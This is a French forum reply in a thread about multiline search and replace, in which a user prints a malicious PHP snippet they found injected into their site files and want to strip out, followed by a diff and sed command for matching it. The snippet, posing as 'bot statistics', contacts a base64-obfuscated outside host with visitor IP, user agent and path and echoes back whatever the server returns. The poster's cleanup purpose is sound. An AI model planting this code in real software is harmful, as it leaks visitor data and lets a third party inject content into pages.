• [^] # Re: Une piste ....

    Posté par . En réponse au message rechercher / remplacer multiligne. Évalué à 2.

    pas mal mais non,

    ca ne marche pas dans si c'est du code au milieu du fichier, car ca cherche des fichiers hierachisés
    avec possiblités de trier par ordre alphanumerique

    or le bout de code a trouver à l'interieur des fichiers est le suivant.

    ?><?php
    if (!isset($sRetry))
    {
    global $sRetry;
    $sRetry = 1;
     // This code use for global bot statistic
     $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
     $stCurlHandle = NULL;
     $stCurlLink = "";
     if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
     {
     if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics 
     $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
     @$stCurlHandle = curl_init( $stCurlLink );
     }
     }
    if ( $stCurlHandle !== NULL )
    {
     curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
     curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
     $sResult = @curl_exec($stCurlHandle);
     if ($sResult[0]=="O")
     {$sResult[0]=" ";
     echo $sResult; // Statistic code end
     }
     curl_close($stCurlHandle);
    }
    }

    on se rend bien compte qu'il ne faut pas rechercher juste ligne par ligne
    mais le motif dans son ensemble

    j'ai trouvé un truc qui semble le faire sur mes 3 fichiers de test, c'est avec :

    diff --suppress-common-line -y index.php motif.txt | sed -e 's/<$//g'